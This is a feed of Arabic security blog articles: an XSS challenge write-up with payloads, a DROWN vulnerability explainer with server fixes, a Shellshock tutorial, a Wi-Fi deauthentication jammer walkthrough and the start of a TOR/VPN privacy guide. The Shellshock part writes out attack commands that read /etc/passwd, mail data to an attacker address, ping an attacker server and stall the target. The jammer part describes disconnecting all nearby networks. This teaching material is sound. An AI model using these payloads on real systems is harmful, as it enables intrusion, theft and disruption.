Quantcast
Channel: iSecur1ty
Viewing all 466 articles
Browse latest View live

مقال : حل التحدي الثالث وأسماء الفائزين

$
0
0

قبل ما يُقارب أسبوعين من الأن تم نشر تحدي ثغرة XSS من قبلنا ومع الشروط هنا  ، اليوم سنشرح كيفية الحل وفهم التحدي وأسماء الفائزين .

الشرح 

أولاً يجب عليك ان تعرف اين يتم الحقن وهو موضح في التحدي الحقن يتم عن طريق متغير xss GET

 

http://isecur1ty-challenges.com/xss/beginner/xss3.php?xss=inject here

3-2-2016 5-47-12 PM

الان نظهر النص المصدري لنرى ما يتم فلترته

 

 

http://isecur1ty-challenges.com/xss/beginner/xss3.php?xss=<>123″‘onmouseover=123

3-2-2016 6-12-52 PM

من الصورة وبعد عرض النص المصدري نستنتج ما ياتي :

  • أن < > مفلترة ب htmlentites
  • أن ” مفلترة ك htmlentites
  • ان حدث onmouseover ايضاً مفلتر الى (xss-event)
  • أن ‘ غير مفلترة والعناصر تبدأ ب ‘ يمكنك عمل end وفتح اتربيوت جديد كحدث js لكن الاحداث مفلترة !

 

ربط الاستنتاج 

 

من ملاحظة ان الحقن في input يوجد العديد من الامور التي يمكن حقنها هنا لكن كل احداث جافا سكربت معطلة الا حدث onerror !

حدث onerror يستمعل عند حصول خطأ في الوسم مثلا حين يكون رابط الاستدعاء معطلاً . لكن onerror لا تعمل حين يكون نوع الinput يساوي text لذلك يجب تغير النوع . وملاحظة مهمة جداً

 

حسب HTML syntax فاني المتصفح يقرأ الاتربيوت الاول ويطبقه على الinput ويتم تجاهل الاتربيوت الثاني (القيمة الثانية له) .

 

الان نرى ان اتربيوت type هو بعد الحقن لذلك يمكن ان يتم حقن متغير اخر بنفس الاسم وقيمة مختلفة (مفتاح الحل)

 

يمكن ان يتم تغير نوع الinput الى image سيصبح صورة وذلك يمكن حقن onerror في الinput طريقة 1 , ويمكن ان يتم تحويله الى button وعمل اتربيوت جديد وهو formaction ووضع جافا سكربت مباشرة بدون الحاجة الى  حدث جافا سكربت .

 

الحل الاول 

 

http://isecur1ty-challenges.com/xss/beginner/xss3.php?xss=x’ type=’image’ src=’x’ onerror=’alert(1)x

3-4-2016 11-57-45 AM

نعرض النص المصدري

3-4-2016 11-58-01 AM

لاحظ كيف تم تجاهل النوع الثاني وعرض المدخل على شكل صورة  .

الحل الثاني 

مثل ما ورد الان لكنه يتطلب بعض التدخل من المستخدم للضغط على الزر تحويل الى button او submit

سنحول الtype الى button ونضع اكشن للفورم على شكل javascript:alert(1)x

 

http://isecur1ty-challenges.com/xss/beginner/xss3.php?xss=xss’ type=’submit’ formaction=’javascript:alert(1)x

 

3-4-2016 12-04-13 PM

 

 

 

أسماء الفائزين 

 

للأسف لم نستلم الكثير من الحلول بالرغم من سهولة التحدي نتمنى الإستفادة  للجميع من هذه التحديات ونلتقي في تحديات قادمة.


مقال : حصري نوع جديد من ثغرات TLS -SSL ثغرة DROWN attack

$
0
0

في بداية العام الحالي تم أكتشاف نوع جديد من الثغرات المشابهة لثغرة heartbleed  . والتي تهاجم بروتكول HTTPS الذي يستعمل في انشاء الاتصالات المشفرة . لقد نشرنا موضوع سابق حول ثغرة heartbleed يمكنك الاطلاع عليه من هنا .

ما هو DROWN ؟ 

هو ثغرة خطيرة تصيب بروتكول HTTPS وغيرها من الخدمات التي تعتمد على TLS , SSL  وبعض من بروتوكولات التشفير الاساسية لامن شبكة الانترنيت . وتسمح هذه البروتوكولات الجميع على الشبكة العنكبوتية لتصفح المواقع وارسال الرسائل والتسوق ونقل المعلومات المهمة دون السماح لطرف ثالث بالقدرة على رؤية ما يتم تبادله بين المستخدم والشبكة العنكبوتية .

والاسم اختصار من Decrypting RSA with Obsolete and Weakened eNcryption.

CVE-2016-0800 الرقم التسلسلي

الشعار الخاص بالثغرة

 

 

sdsad

 

تم اكتشاف الثغرة من قبل مجموعة فريق مكون من اعضاء من جامعات:  جامعة تل ابيب , جامعة بنسلفينيا , جامعة مونستر الالمانية ,جامعة ميشغان , وجامعة رور الالمانية  بالاضافة الى Google و Hashcat project و Open ssl و Two Sigma

تسمح ثغرة DROWN للمهاجم بكسر التشفير وقراءة الاتصالات والمعلومات الحساسة بما في ذلك الجلسات , كلمات السر, ارقام بطاقات الائتمان , والاسرار العسكرية والمالية . وتشير الاحصائات لدى فريق الثغرة ان 33% من السيرفرات المسخدمة لHTTPS  معرضة للثغرة .

 

 

ماذا يحصل عليه المخترق من هذه الثغرة ؟ 

يحصل على اي شيء يتم تمريره بين المستخدم والسيرفر , ويشمل مثلاً أمساء المستخدمين وكلمات المرور , ارقام الحسابات ,رسائل البريد الالكتروني , والرسائل الفورية , الوثائق المهمة , وفقاً لبعض السيناريهوات يمكن ايضاً للمهاجم من عمل spoof محتوى موقع امن واعتراض الطلبات وما يراه المستخدم .

 

 من معرض للاصابة ؟  

 

المواقع , خدمات البريد واي خدمة تستخدم TLS التي تعتمد عليها الثغرة . وتتاثر العديد من المواقع المعروفة بهذه الهجمة ,قام فريق الثغرة بعمل مسح على نطاقات الانترنيت لقياس مدى المواقع المصابة وكانت النتيجة كالاتي :

 

 

      البحث يوم الكشف
 افضل مليون موقف تستخدم HTTPS   25%
 كل المواقع الموثوقة من قبل المتصفح HTTPS  22%
 كل المواقع HTTPS  33%

 

نرى ان النسبة كبيرة جداً وخطيرة ايضاً .

 

مفهوم الثغرة 

تستخدم السيرفرت الحديثة والمستخدمين بروتكول تشفير TLS . وكلن نظراً للاعداد الخاطئ الكثير من السيرفرات تدعم SSLv2 والتي هي من سلف 1999s-era , هذا الدعم غير مهم في الواقع لانه لا يوجد تحديث لمستخدم الذي يستعمل SSLv2 على الرغم من معرفة ان SSLV2 غير امنة للان . لكن دعم SSLV2 فقط لا يعد مشكلة امنية لان المستخدمين لا يستعملوها ابداً .

تظهر ثغرة DROWN ان مجرد دعم SSLV2 يشكل تهديداً للسيرفرات والعملاء . حيث انها تسمح للمهاجم بفك تشفير اتصال TLS المحدث بين العملاء الذي يملكون برامج محدثة عن طريق ارسال تحققات الى السيرفر الذي يدعم SSLv2 ويستخدم المفتاح العام نفسه .

 

 

Slide1

 

 

السيرفر يكون مصاب في حالة :

  • السيرفر نفسه يدعم اتصال TLS و يدعم SSLv2 وهذا شائع بسبب الاعداد الخاطئ . ونسبة المواقع التي تعمل بHTTPS وتدعم SSLv2 هي 17% .
  • السيرفر يستخدم مفتاح الشهادة الخاص مع سيرفر اخر يدعم SSLv2 حتى لو كان لبروتكول اخر . فالشركات التي تستخدم المفتاح الخاص نفسه لسيرفر الويب فرضاً وتستخدمه لسيرفر الايميل . وسيرفر الايميل يدعم الاتصال SSLv2 وسيرفر الويب لايدعمه سوف يكون سيرفر الويب معرضاً ايضا للاختراق وسيكون بقدرة المهاجم اخذ الافضلية على سيرفر الويب باستخدام سيرفر الايميل .

 

الحالة الاولى 

 

xsser

الحالة الثانية 

tls3

 

 

أثبات الثغرة 

للاسف الى الان لا يوجد لدينا أداة تقوم بتسريب المعلومات عن طريق هذه الثغرة . لان المكتشف وفريق العمل قرروا عدم الافصاح عنها الى ان يتم اصلاح السيرفرات المصابة والتي هي موجودة بكثرة لذلك قد يكون هناك استغلال كامل في اقل من شهر سنبقى على تواصل معكم وفي حالة صدور الاداة ساقوم بعمل شرح خاص بها .

الان ما متوفر هو أداة فحص فقط يمكنك استعمالها :

  • أداة بايثون يمكنك تحميلها من هنا “ينصح بها ” .
  • استعمال الباحث الخاص بهم (لا يظهر النتائج الصحيحة) هنا .

 

التفاصيل التقينة 

التفاصيل معقدة جداً وغير مفهومة ونحن في مجتمع isecur1ty نحاول تبسيط الامور فقط وليس شرحها بالتفصيل لكن للمهتمين بمجال التشفير ويحب الاطلاع على الامور الرياضية والتقينة يمكنك تحميل الورقة المصدرية للبحث من هنا .

 

مواقع مشهورة 

هناك العديد من المواقع المشهورة المصابة بالثغرة منها : Yahoo, flickr ,mediafire ,4shared ,apache,bluehost,lenovo وغيرها من المواقع .

 

الاصلاح 

لاصحاب السيرفرات والذين يستخدمون openssl يمكنكم اصلاح السيرفرات والبرامج الخاصة بكم سنبدأ بعملية الاصلاح والاجابة عن بعض الاسئلة ايضاً

 

سيرفر Apache 

اذا كنت من مستخدمي سيرفر اباتشي وكنت لا تستخدم المفتاح الخاص بك مع اي سيرفر اخر وكنت تستخدم نسخة Apache httpd 2.4.x فانت غير مصاب لان اصدار Apache httpd 2.4.x فما فوق يعطل SSLv2 تلقائياً لذلك لا حاجة للقلق . بينما اذا كنت تستعمل اصدارات اقدم فاصدارات اباتشي الاقدم تدعم SSLv2 افتراضياً . يمكنك تحديث السيرفر او تعطيل SSLv2 باضافة السطر الاتي الى httpd.conf

 

SSLProtocol all -SSLv2 -SSLv3

اذا احتجت معلومات اكثر يمكنك زيارة الموقع الرسمي  من هنا .

سيرفر Nginx 

الاصدارات 0.7.64, 0.8.18 والاقدم تدعم SSLv2  افتراضياً يمكنك التعديل على nginx.conf بوضع السطر الاتي وتعطيل هذه الخاصية

 

ssl_protocols TLSv1 TLSv1.1 TLSv1.2

كلمة اخيرة 

ظهور عدد من ثغرات التشفير امر مقلق للغاية فنحن نعتمد على التشفير في كل مجلات الويب من نقل باسوردات او معلومات امنة والثغرات الخاصة بالتشفير قد زاد عددها وممكن المخفي اعظم ….. في اقرب فرصة اذا وجدنا الجمهور المناسب ممكن ان نفتتح قسم خاص بالتشفير وعلوم التشفير التي تعد من اهم فروع علم الحاسوب والويب العربي لا يملك الكثير حول موضوع التشفير ..

 

المصادر 

  • https://www.openssl.org/news/secadv/20160301.txt
  • http://nginx.org/en/docs/http/ngx_http_ssl_module.html#ssl_protocols
  • https://httpd.apache.org/docs/2.2/mod/mod_ssl.html#sslprotocol

 

تحياتي وتحيات فريق عمل isecur1ty

مقال : شرح موسع حول ثغرة Shellshock

$
0
0

السلام عليكم , في عام 2014 ظهرت ثغرة بعنوان Shellshock سيكون شرح اليوم مفصل لها للاغراض الاكاديمية .

 

Presentation1222

ما هي ثغرة Shellshock ؟  

ثغرة Shellshock هي عبارة عن خطأ برمجي في مُفسر الأوامر bash هو اختصار ل”Bourne-again shell” ومثال عن ثغرات ACE

(Arbitrary code execution) ، تحتاج ثغرات ACE  الى فهم متطور للغاية لكل من تنفيذ الاوامر والاجزاء الداخلية لعملية التنفيذ بالاضافة الى معرفة بتخطيط الذاكرة و لغة assembly مختصر الأمر .. تحتاج الى خبير في هذه المجالات !  ، المهاجم يستخدم ثغرة ACE لرفع او تنفيذ برنامج يعطيه طريقة سهلة للتحكم في الة الهدف  ، هذا غالباً يتحقق بتنفيذ ما يسمى “Shell” وال”Shell” هو عبارة عن سطر اوامر حيث تضع يمكن للاوامر ان تدخل وتنفذ.

ثغرة الShellshock في مشكلة بحد ذاتها لانها تمحي الاحتياج لاي مهارات ومعرفة خاصة , وتعطي طريقة سهلة (سهلة جداً) للاستيلاء والسطيرة على كمبيوتر اخر (كخادم ويب مثلاً) وجعله ينفذ الاكواد .

سبب سهولة ثغرة Shellshock

حين يتسلم خادم ويب او سيرفر طلب فانه مكون من ثلاث مقاطع يمكن ان تمون مصابة لثغرة Shellshock : الURL المطلوب , الhttp header او المعلومات المدخلة ما يسمى “arguments” (حين تكتب اسمك وايميلك وتعليق في isecur1ty سيتم ارسالها كarguments) وكنا قد شرحنا سابقاً إستخدام الـ HTTP HEADER في عملية اختبار الاختراق يمكنك ايجادها هنا ، الأن نقوم بعمل مثال بسيط لو استقبل سيرفر موقعنا طلب بسيط سيكون كالاتي :

 

 

 GET / X
Host: www.isecur1ty.org
User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
If-Modified-Since: *X

 

 

في الطلب السابق يمكنك رؤية الHeader وما يحتويه من معلومات عن المتصحف او المستخدم مثلا / هو طلب للصفحة الرئيسية و

Accept-Encoding ..الخ  هذه المعلومات تقدم للسيرفر ليعرف نوع المتصفح وما هو اللغة المفضلة والموقع المراد طلبه ونوع حزمة الاتصال وليس من الشائع لهذه المعلومات ان يتم تحويلها لمتغيرات في داخل السيرفر ليقوم بدارستها.

فرضاً ستظهر للسيرفر الذي طلب به صفحة موقعنا بالشكل التالي :

 

 

HTTP_ACCEPT_LANGUAGE=en-US,en;q=0.5
 HTTP_HOST= www.isecur1ty.org
HTTP_CACHE_CONTROL=no-cache
 HTTP_ACCEPT_ENCODING=gzip, deflate
 HTTP_USER_AGENT=Mozilla/5.0 (Windows NT 6.2; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0

 

 

في حالة بقاء هذه المتغيرات في برنامج السيرفر نفسه بدون الخروج لبرامج اخرى فان السيرفر غير مصاب بثغرة Shellshock .

Shellshock تحدث حين يتم تمرير هذه المتيغرات الى برنامج اخر يسمى “bash” وكما ذكرنا سابقا فهو مفسر ومنفذ الاوامر في انظمة Linux , في الكثير من الاحيان السيرفرات تحتاج الى تمرير هذه المتغيرات الى برامج اخرى ومن الشائع ان يتم تمرير هذه المتغيرات الى bash او shell اخر .

 

ثغرة Shellshock تحدث بالتحديد حين يقوم المهاجم بتعديل طلب HTTP الاصلي وجعله يحتوي على المتغير السحري الذي هو استغلال الثغرة
ويكون على شكل () { :; };

في الطلب يوجد نوع المتصفح فسوف يقوم المهاجم بتغيره من Mozilla/5.0 الى x() {:;}; /bin/cat /etc/passwd  وسيكون قادر على قراءة ملف passwd في النظام وعرضه في الصفحة المطلوبة . ! سوف يفوم السيرفر بقراءة الامر وتفيذه كالاتي

 

HTTP_USER_AGENT=() { :; }; /bin/cat /etc/passwd 

الخلل في برنامج bash سوف يقوم بقراءة الجزء الاول واهماله وبعدها تنفيذ الجزء الثاني  نعم بهذه السهولة فقط !

 

إستغلالات مُتقدمة 

الأن سنشرح ما يمكن عمله بصورة سهلة جداً وخطيرة ايضاً وسوف نبدأ ببعض السيناريوهات ، منها :

سحب وارسال المعلومات الى ايميل المهاجم 

يمكن للمهاجم البحث عن الثغرة واستخدام هذا الكود مثلاً

x() { :;}; /bin/bash -c \"whoami | mail -s 'example.com l' myevilemail@gmail.com

سوف يقوم السيرفر اذا كان يملك صلاحيات ROOT (صلاحيات مستخدم كاملة او ما يسمى superuser ) بتنفيذ الامر whoami

الذي لايجاد اسماء المستخدمين الموجودين على السيرفر وبعدها ارسال ايميل الى myevilemail@gmail.com بعنوان example.com 1

بعدها يقوم المهاجم بدخول ايميله للحصول على المعلومات نفس التكنيك يمكن استعماله لفك ضغط وارسال ملفات الباسوردات الى الايميل .

Slide1

هجوم الإستطلاع  

يعد من احد اهم الهجمات في عالم الهاك سنتطرق له في مقالات اخرى يسمى هجوم الاستطلاع او “reconnaissance” في هجوم reconnaissance المهاجم يوقم بارسال اوامر سوف تقوم لاحقاً بارسال رسالة الى الة طرف ثالث كسيرفر مثلاً . والة الطرف الثالث  تقوم بعمل لائحة للالات المصابة التي قامت بالاتصال بها .

في السابق , كان يتم عمل الالات وتحويلها الى شبكات بوت نت او لعمل سبام او اغراض اخرى.

واحد اشهر التكنيكات المستعملة في reconnaissance هو استخدام الامر  ping لجعل الالة المصابة تقوم بارسال حزمة واحدة (تسمى ping) الى خادم طرف ثالث الذي يكون خاص بالمهاجم الاستغلال يبدو مثل :

 

x() {:;}; ping -c 1 -p XYZ1234567891011 hacker-server.com

 

عادة الامر ping يستعمل لاختبار هل السيرفر “alive” او موجود على الشبكة . اذا كان السيرفر مصاب بثغرة Shellshock سوف يقوم بارسال حزمة واحدة الموضوع عددها في  (-c 1)  الى hacker-server.com مع البايلود الذي تم اضافته في (-p) . البايلود هو عبارة عن رقم او رمز فريد من نوعه يتم اضافته بواسطة المهاجم ليستطيع تعقب الحزمة التي تم استلامها من قبل السيرفر المصاب .

 

 

pentest

 

 

 

التحكم بالمكونات المادية للسيرفر 

من الامور التي يمكن ارسالها للسيرفر للتحقق من اذا ما كان السيرفر مصاب يمكن ارسال

 

curl -H "User-Agent: () { :; }; /bin/eject" http://example.com

x هذا الامر يقوم بعمل طلب الى موقع example.com فاذا كان السيرفر مصاب سوف يقوم بفتح محرك الاقراص cd او dvd ! فاذا رايت محرك الاقراص مفتوح قد يكون الهكر جرب ال ثغرة ShellShock عليك 😛

هجوم حجم الخدمة محلياً 

بطلب بسيط مثل هذا

 

x() { :;}; /bin/sleep 20|/sbin/sleep 20|/usr/bin/sleep 20

في الاستغلال اعلاه يحاول المهاجم بثلاث طرق تنفيذ الامر (sleep) لان امر  sleep قد يكون في احد المسارات bin أو sbin او usr/bin  . الامر يقوم بعمل ايقاف للسيرفر عن تنفيذ التعليمات لمدة 20 ثانية . اذا تم تاخر السيرفر فالسيرفر مصاب قد يقوم المهاجم بتاخير المدة وزيادة عدد هذه الطلبات لذلك سيكون السيرفر عاجز عن التعامل مع طلبات اخرى وبهذا يسبب DoS  .

كلمة أخيرة 

يوجد هناك انواع اخرى اكثر خطورة يمكنك الاطلاع عليها لاحقاً .

 

مصادر وروابط مفيدة 

مع تحياتي وتحيات فريق iSecur1ty ، لأي اسفتسار اترك تعليقاً أو تواصل معي عبر تويتر

مقال : إستخدام Python لبرمجة سكربت للتشويش على الشبكات اللاسلكية

$
0
0

في الفترات الأخيرة تكلمنا عن العديد والعديد من الأمور التي يُمكن أن نقوم ببرمجتها بلغة Python والتي بالطبع تتعلق في مجال أمن المعلومات وإختبار الإختراق بشكل مُباشر ، حيث أننا نؤمن بضرورة قيام مُختبر الإختراق ببرمجة الأدوات الخاصة به والتي يستخدمها في عمليات إختبار الإختراق المُختلفة ، حيث بالطبع تساعده على تأكيد فهمه للعملية التي يقوم بها ، وتعطيه خيارات أكبر في عملية التعديل عليها وإضافة خواص مُساعدة له في هذه العملية أو الوظيفة التي يقوم بها بشكل أساسي في إختبار الإختراق مهما إختلفت طبيعتها.

اليوم بإذن الله سوف نتكلم عن موضوع جديد ومُثير ، حيث سوف نتعرف على كيفية كتابة أداة بسيطة تقوم بعملية التشويش على الشبكات المُحيطة وفصل الأجهزة المُتصلة بهذه الشبكة ، تكلمنا مُسبقاً عن هذا الموضوع في عدة مقالات تستطيعون مُراجعة قسم حماية الشبكات لقرأتها ، حيث قُمنا بشرح إستخدام بعض الأدوات التي تقوم بهذه العملية بشكل تلقائي ، واليوم كما ذكرت سوف نقوم ببرمجة سكربت خاص بنا يقوم بهذه العملية ، حيث سوف نقوم بالتشويش على جميع الشبكات المُحيطة بنا بضغطة زر واحده فقط بإستخدام سكربت Python ، أي بمعنى أخر أننا سوف نُحول جهاز الكومبيوتر الخاص بنا إلى جهاز تشويش.

Wireless-Jamming-Social

في البداية دعونا نبدأ بفهم ألية العمل الرئيسية  لفكرة التشويش وكيف نستطيع فصل الأجهزة الموجوده حولنا بكل سهولة ، كما نعلم أنه عندما نُريد فصل الإتصال الخاص بنا نقوم بإرسال طلب للراوتر نُخبره بأننا نُريد إنهاء الإتصال ، هُنا سوف نقوم بعمل إنتحال MAC Address للجهاز المُتصل بالشبكة والذي نُريد أن نقوم بالتشويش عليه ، حيث سوف نُرسل Deauthentication packet مُزيفة من الجهاز الخاص بنا تحمل عنوان MAC Address الخاص بالجهاز الذي سوف نقوم بالتشويش عليه ، وعنوان MAC Address للراوتر الذي سوف يستقبل هذا الطلب.

مبدئياً قُمت برفع السكربت على حساب Github الخاص ب iSecur1ty ، وهذه الصورة تُوضح الكود :

Jammer-code

سوف أقوم بتوضيح فكرة السكربت سطر بسطر ، ولكن قبل ذلك نُريد أن أقوم بتوضيح بسيط للعملية لكي تُصبح عملية البرمجة أكثر سهولة في.

النظرية : 

أولاً سوف نحتاج لجمع جميع الشبكات بشكل أوتوماتيكي لغرض التعرف عليها ، بعد ذلك سوف نقوم بجمع عناوين Bssid الخاصة بجميع الشبكات ووضعها على حدى لأغراض التواصل معها ، لأنهُ كما ذكرنا نحتاج عنوان MAC Address الخاص بالشبكة لكي نقوم بإرسال الحُزمة لها ، بعد ذلك سوف نحتاج لضبط كارد الوايرليس الخاص بنا على Monitor Mode ، بعدها سوف نقوم بتجهيز الحُزمة حيث سوف نقوم بإستخدام Scapy في هذه العملية.

قُمت بالإستعانة بكود جاهز يقوم بإرسال الحُزمة من خلال Scapy ، وأنصحكم بدراستها بشكل مُعمق أكثر في حال كُنتم تريدون معرفة المزيد حولها

بعد تجهيز الحُزمة سوف نقوم أخيراً بإرسالها بعدد مُعين إلى جميع الشبكات لنضمن أن تقوم بفصل جميع الأجهزة الموجوده بها من خلال عمل Brodcast وبث الحُزم لجميع الأجهزة المُتصلة وبهذا نكون قد فصلنا جميع الأجهزة المُتصلة حولنا وقمنا بالتشويش عليها.

النظرية لغاية الأن مُمتازة ، دعونا نقوم بعمل Implementation لهذه النظرية وتنفيذها كما بالكود المُسبق.

شرح السكربت : 

لن أقوم بشرح أساسيات وسوف أفترض وجود أساسيات اللغة لديكم ، وتستطيعون مُراجعة دورة إستخدام Python في إختبار الإختراق.

في بداية السكربت من السطر 9 ولغاية السطر 12 نقوم بإستدعاء المكتبات التي سوف نحتاجها وهي :

  • Scapy : لإعداد الحُزمة وإرسالها.
  • wifi : لإظهار جميع الشبكات.
  • time : لضبط أمور التوقيت.
  • wireless : سوف نحتاجها في عملية كشف interfaces الموجوده بالجهاز.

بالسطر 14 و 15 نقوم بمعرفة  interface الرئيسي حيث سوف نقوم بإستخدامه في عملية جمع المعلومات الخاصة بالشبكات حولنا.

السطر 17 نقوم بإستخدام Cell.all Method لكي نقوم بجمع جميع الشبكات المُحيطة بنا وتخزينها على شكل List لكي يتم التعامل مع كُل شبكة لاحقاً بالأسطر التي تليه.

السطر 19 نقوم بطباعة الجُملة كما نرى ، والسطر 20 نقوم بعمل List إسمها bssid سوف نقوم بوضع جميع عناوين bssid الخاصة بِكُل شبكة ، السطر 21 نقوم بتأخير تنفيذ السطر التالي لمُدة ثانيتين من خلال time.sleep من السطر 22 لغاية السطر 29 نقوم بتمرير جميع الشبكات التي وجدناها بالسطر 17 والتعامل مع كُل شبكة على حدى ، حيث نطبع عنوان ssid وعنوان bssid والقناة وكذلك قوة وجودة الإتصال مع الشبكة ، وبالسطر 28 نقوم بعمل append على bssid list حيث نقوم بإضافة عنوان bssid الخاص بالشبكة داخلها.

الأن أصبح لدينا List كاملة بجميع عناوين bssid الخاصة بالشبكات ، حيث سوف نقوم بإستخدامها للتوصل بالشبكة وإرسال حُزمة Deauthentication  لها.

بعد ذلك بالسطر 33 قُمنا بتعريف Function قُمنا بتسميتها بـ Jam حيثُ تأخُذ المُتغير address والذي بطبيعة الحال سوف يكون هو عنوان bssid الذي جمعناه ووضعناه داخل bssid List ، السطر 34 هُنا نقوم بتعريف كارد الوايرليس أو “interface” الذي كما ذكرنا يجب أن يكون مُفعل بوضعية Monitor Mode وفي حالتنا هو mon1 ، بعد ذلك قُمنا بتعريف bssid على أنه المُتغير الذي تأخذه الدالة Jam ، ويليه المُتغير Client حيث هو عنوان Mac Address الخاص بالهدف ، ونستطيع إستخدام “FF:FF:FF:FF:FF:F” لعمل Broadcast كما ذكرنا مُسبقاً.

في السطر 37 قُمنا بتعريف المُتغير count المسؤول عن عدد الحُزم التي سوف يتم إرسالها للشبكة الواحده ، حيث انني حددتها ب 3 حُزم فقط ، وبالسطر 38 قُمنا بضبط Scapy verbose بالقيمة 0 لكي لا يتم عرض أي معلومات من قبل Scapy على الشاشة.

في السطر 39 هُنا نقوم بتجهيز المُتغيرpacket  بالحُزمة وضبطها وإعدادها بشكل عام لكي تقوم بإرسال Deauthentication packet من وإلى العناوين التي تكلمنا عنها مُسبقاً وأنصحكم بالإطلاع على Scapy أكثر للتعرف على العديد من الأمور المُمتعة حول هذا الموضوع ومواضيع مُختلفة في التعامل مع الشبكات من خلال Scapy.

من السطر 40 وإلى السطر 42 نقوم بعمل حلقة Loop بعدد الشبكات التي تم إكتشافها ومن ثم نقوم بإستخدام sendp في السطر 41 لإرسال packet التي تم تعريفها مُسبقاً من خلال المُتغير packet ، حيث سوف تُرسل الحُزمة بناءاً على ما تم شرحه في الأعلى ، والسطر 42 يقوم بطباعة المعلومات التي تم الإرسال إليها.

وأخيراً من السطر 43 إلى السطر 46 نقوم بتشغيل while loop مُستمرة ، ونقوم بسحب جميع عناوين Bssid الخاصة بالشبكات من خلال تعريف مُتغير item وسحبها بإستخدام for loop من Bssid List وفي السطر الاخير 46 نقوم بإستدعاء الدالة Jam وتمرير المُتغير item كعنوان bssid وتنفيذ ما سبق عليه.

سكربت بسيط ولا يوجد به أي تعقيدات ، الأن سوف نقوم بتشغيله ولنرى ماذا سوف يحصل بالضبط فور تشغيله :

jammer-first-network

كما نرى بهذه الصورة فور تشغيل البرنامج قام بإظهار جميع الشبكات الموجوده حولي.

قمت بإخفاء باقي العناوين لأغراض تتعلق بالخصوصية :)

والصورة التالية توضح كذلك إرسال الحُزم بشكل صحيح إلى الهدف :

jammer-done

وكما نرى هذه نتيجة من أحد الاجهزة المُتصلة بالشبكة بعد التشويش عليها حيث نرى أنه تم فصلها من الشبكة :

wifi-deauth-done

حيث أنني كُنت مُتصل بشبكة Orange وكما نرى لقد تم قطع الإتصال ، وبهذا قد نكون أتممنا الهجمة بالشكل المطلوب ، يُمكنكم بالطبع التعديل على السكربت ليتوافق مع إحتياجاتكم ، مثل إدخال العناوين يدوياً ، أو تحديد بعض القوانين والقواعد عليها ، حيث ان الأداة قابلة للتعديل وفق المنهج الذي تكلمنا عنه مُسبقاً.

هذا ما عندي فإن أحسنت فمن الله، وإن أسأت أو أخطأت فمن نفسي والشيطان و أتمنى أن يكون هذا المقال قد نال إعجابكم وبإذن الله نلتقي في مقالات أخرى.

مقال : أساليب التخفي والتشفير لحفظ الخصوصية في الإنترنت

$
0
0

في هذا المقال الحصري في العالم العربي سنقوم بكشف النقاب عن أعظم أسرار التاريخ التي لطالما كانت وما زالت في قعر الإنترنت المظلم (Darkweb) وهو عالم افتراضي آخر غير العالم الذي تعرفون.

سنتحدث في هذا المقال عن أساليب التخفي والتشفير التي تمكننا من الحفاظ على خصوصيتنا أثناء الإبحار في عالم الإنترنت.

سينقسم مقالنا إلى قسمين، حاولت أن أختصر قدر الإمكان لأنني أحتاج إلى آلاف الصفحات لو أردت التكلم عن الخصوصية والتخفي بشكل موسع والغوص في أدق التفاصيل…

* ما هو الـTOR والـVPN، وكيف يعمل كل منهم (تحليل عميق).

* مزود الخدمة الخاص بك (ISP)، إمكانياته، قدراته، ماذا يستطيع أن يرى.

Large Man Looking At Co-Worker With A Magnifying Glass --- Image by © Images.com/Corbis

الجزء الأول: ما هو الـTOR والـVPN، وكيف يعمل كل منهم (ما وراء الكواليس):

في بداية الأمر قبل الدخول في مجال معين يجب أن تكون على دراية وعلم كافي في هذا المجال وأن تعرف كيف يعمل وما هي إيجابياته وسلبياته وفي عالم الهاكينج الحقيقي إذا لم تكن على معرفة تامة بما تقوم فيه فأنت هالك لا محالة.

ما هو الـVPN:

اختصار لـVirtual Private Network، وتعني شبكة خاصة وهمية وهو عبارة عن شبكة خاصة بالمستخدم فقط يقوم بإنشائها لإرسال واستقبال البيانات من جهازه إلى الشبكة العنكبوتية أو إلى مستخدم أخر لضمان مرورها الأمن وسلامتها.

كيف يعمل الـVPN:

عند الاتصال التقليدي بالإنترنت، تعبر البيانات من جهازكم إلى مزود خدمة الإنترنت في بلدكم ومن ثم إلى الإنترنت، وفي كل خطوة في هذا النوع من الاتصال تكون بياناتكم مكشوفه وبإمكان مزود الخدمة اعتراضها وكشف محتواها والتحكم بها.

أما عند الاتصال بالإنترنت عبر شبكة خاصة افتراضية، تكون بياناتكم مشفرة عندما تنطلق من جهازكم وتمر عبر مزود خدمة الإنترنت إلى مخدّم الـVPN، ومن ثم إلى الإنترنت ولكون بياناتكم مشفرة، لا يستطيع مزود خدمة الإنترنت رصد حركتها.

بعد وصول البيانات إلى مخدّم الـVPN، يتم فك تشفيرها هناك ومن ثم تمريرها إلى الموقع الذي تريدون دخوله. تجدر الإشارة إلى أنه عند الاتصال عبر الـVPN، إن لم تكونوا تستخدمون بروتوكول تشفير مثل HTTPs، فذلك يعني أن بياناتكم معرضة للكشف على مخدّم الـVPN الذي تتصلون به. لذلك عند تبادل معلومات حساسة ككلمات سر أو تعاملات بنكية، من الضروري التأكد من أن الموقع يعمل عبر بروتوكول HTTPs لضمان أمن بياناتكم من كافة الجهات.

HTTP Encryption

هناك أنواع مختلفة من خدمات الـVPN لن أدخل في هذا المجال لأنه طويل جدًا. على كل حال تستطيع معرفة هذه الأنواع وتشفيرها والفروقات بين التشفير ومقاييس التشفير بالتفصيل الممل من خلال الرابط التالي:

https://www.bestvpn.com/blog/4147/pptp-vs-l2tp-vs-openvpn-vs-sstp-vs-ikev2

التور (TOR):

هو عبارة عن شبكة من الأنفاق الافتراضية التي تتيح للناس والجماعات زيادة مستوى الخصوصية والأمن على شبكة الإنترنت. يوفر تور الأساس لمجموعة من التطبيقات التي تسمح للمنظمات والأفراد تبادل المعلومات من خلال شبكات عامة بخصوصية.

كيف يعمل الـTOR (تحليل عميق):

المخطط التالي يوضح كيفية عمل شبكة الـTOR والقفزات التي تمر بها الجزمة من جهازك إلى المسار (الموقع الهدف).

Tor hops

